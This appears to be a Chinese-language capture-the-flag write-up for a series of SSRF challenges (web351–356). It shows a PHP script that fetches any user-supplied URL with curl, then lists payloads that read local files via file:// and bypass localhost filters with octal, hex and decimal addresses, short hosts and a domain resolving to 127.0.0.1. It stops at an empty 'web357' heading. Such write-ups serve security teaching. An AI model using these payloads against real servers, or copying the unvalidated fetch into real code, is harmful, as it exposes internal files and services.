web351
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
没有进行过滤,使用file协议读取本地文件
POST:url=file:///var/www/html/flag.php
通过读取的文件知道,也可以使用本地访问的方式得到flag
POST:url=127.0.0.1/flag.php
web352
这到题多了一个parse_url()
parse_url是一个计算机函数,功能是解析URL。
该段代码会检测协议是否为http或https,并且不能有localhost和127.0.0,常见绕过方式:
进制绕过
url=http://0x7F000001/flag.php
十六进制绕过
url=http://0x7F.0.0.1/flag.php
八进制绕过
url=http://0177.0.0.1/flag.php
0.0.0.0绕过
url=http://0.0.0.0/flag.php
特殊的地址绕过
url=http://0/flag.php
url=http://127.1/flag.php
url=http://127.0000000000000.001/flag.php
0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0
CIDR绕过localhost
url=http://127.127.127.127/flag.php
使用句号绕过:
url=http://127。0。0。1/flag.php
采用进制转换:127.0.0.1:八进制:0177.0.0.1。十六进制:0x7f.0.0.1。十进制:2130706433。
web353
过滤了localhost,127.0.或127。1
用上一题的进制转换:url=http://0x7f.0.0.1/flag.php
web354
过滤了localhost和0、1
可以将域名A类指向127.0.0.1
http(s)://sudo.cc/指向127.0.0.1
url=http://sudo.cc/flag.php
web355
多了一个限制,就是让host的长度小于5
payload:
url=http://0/flag.php
url=http://127.1/flag.php
web356
和上一题一样,host长度小于3
url=http://0/flag.php
web357